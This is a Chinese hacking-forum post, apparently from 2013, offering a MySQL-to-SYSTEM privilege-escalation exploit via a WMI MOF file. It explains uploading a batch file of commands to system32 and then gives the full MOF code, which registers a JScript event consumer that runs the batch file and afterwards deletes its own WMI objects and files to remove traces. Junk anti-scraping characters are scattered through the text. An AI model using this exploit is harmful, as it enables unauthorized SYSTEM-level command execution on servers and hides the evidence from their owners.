找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2447|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
8 S+ M+ r2 c; ^2 h4 x  Y1 W需要将要运行的命令写入到bat上传到system32目录,然后执行。5 ~2 s& U) }! Q9 E

1 Z. J. L) [- Z5 J! l这个sql提权MOF需要运行 system下的文件,不能定义路径。$ y. K# ?% u' E; s# ~) Y
需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ @7 O) K4 u' T5 ^0 L* f
8 U% G# g  J$ c. C$ r5 Z- c$ q8 I' _#pragma
6 E/ K: p' V4 S                        namespace("\\\\.\\root\\cimv2")7 h3 X! `" I* U; n6 m' r6 H
                        class+ [+ q" A; g. c
                        MyClass547
) A" {5 p7 ]( K3 P; u9 \                        {           [key]
$ K' Z2 Y+ k. k# y                        string
- E5 l3 o% W1 ?/ e                        Name;! v; o& Y* ?1 X% I+ x5 b2 r
                        };
1 U8 o+ Z8 }: W$ l8 F6 s                        class7 D9 z( m3 g0 @$ q/ m
                        ActiveScriptEventConsumer5 S  j% Q- B2 E0 ~8 @3 v
                        : __EventConsumer {          [key]
% ?* [, n% s$ |" B7 d                        string4 }3 N- `) L7 [" R1 W! w" w; b
                        Name;           [not_null]4 |( x; u' R: d( J, ?
                        string/ I" q# b3 N" }: A/ s9 q
                        ScriptingEngine;           string5 x) g( G  s4 p2 B$ o* Y- E
                        ScriptFileName;           [template]
% J5 r) X. {6 f8 R: {  O& y1 p                        string
% p" ?. i( V* w+ R                        ScriptText;         uint32 KillTimeout;
" O! Z3 W2 Z3 D' g$ P4 v* X                        }; instance of __Win32Provider as $P {5 ]$ }" W7 X7 H( P4 W
                        Name* w; p1 u, T4 j
                        =4 O9 m' |3 w% g& \
                        "ActiveScriptEventConsumer";     CLSID =
6 K  Q' c8 f/ I3 i8 D5 N                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";. {! Q, U4 r. U" A* N9 _+ C
                        PerUserInitialization, `8 m. `& x1 c+ V: z2 A
                        = TRUE;
3 A2 Y  l7 J' A& S) h                        }; instance of __EventConsumerProviderRegistration {         Provider$ Z9 _+ m+ q" c8 _- [- q
                        = $P;         ConsumerClassNames$ S$ C) T% L) d. _
                        =3 T+ A. G- ^) {) m  U
                        {"ActiveScriptEventConsumer"};5 `* u! F. q! s1 }7 a1 `
                        };" y8 x* k- ^3 d( W) P: n
                        Instance of ActiveScriptEventConsumer
+ e8 C1 I: m2 G' ^                        as $cons {         Name2 I6 X4 Q2 S* `) F+ q( Z
                        =4 e' m; {! G6 k* ~0 g; G& R: [
                        "ASEC";         ScriptingEngine, p  v1 q' m5 t) |
                        =4 O# }! x7 K9 A+ E. y0 I2 Z' Q  h
                        "JScript";         ScriptText3 l7 z0 e! A5 P* L( i9 L( e  N
                        =2 T8 \. J, }) `/ a" N9 h+ X* t
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
% i# {1 h( k, g- O" V5 N  \                        Instance of ActiveScriptEventConsumer
) i6 E2 o7 C4 G$ e* o" m                        as $cons2 {         Name2 N( m: E' ~' y+ q
                        =. r( l1 X3 G! s+ l5 D4 ?
                        "qndASEC";         ScriptingEngine
2 F3 e$ f1 p% K* g) |                        =! F9 W6 f; N/ t4 B3 s( o
                        "JScript";         ScriptText
4 `3 O6 s' b( _) [3 }                        =
! w9 T' h7 X3 h6 w4 O                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";! C# [! k( ~" J
                        }; instance of __EventFilter as $Filt {         Name
- C% V+ ]3 {" M' u: K$ r                        =
8 @) x! R2 ?+ G9 v& J                        "instfilt";         Query
% H% w7 R1 D3 a* [& C9 o                        =, f; Z6 ?% x  ]1 f8 x
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
: t: W5 m  a5 l                        =9 f/ C% C. i; l( h9 |; R7 j
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name$ s9 b/ d4 @( I  R
                        =
+ e* v, X) C2 H7 i! J( H                        "qndfilt";         Query" c" [/ m1 _  u( _
                        =  p) w% y+ B5 b! B, p0 }
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
% U. a! `% M! U- [: I4 |                        =
6 V- ]6 s! T* f. w: T7 w                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
6 m/ m' [  L6 h, ~8 u. B! o8 j. E: j9 }                        = $cons;         Filter! Y" O: g- s% d2 Q8 N1 Z# p0 {
                        = $Filt;: }, Y* e/ R6 H; A
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer) n3 s4 q. I$ W, x7 D5 m+ d+ f& S
                        = $cons2;         Filter) W2 r: q* ?4 L6 n" A/ b
                        = $Filt2;+ T& E- i% [4 r* s
                        }; instance of MyClass5471 f# k: o3 f! f8 f
                        as $MyClass {         Name
: m; `$ b. I; M: B: [$ }                        =
+ p3 X: I+ f+ p7 G( ^6 `9 |# [                        "ClassConsumer";& i6 D; o! f! G2 x. w
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表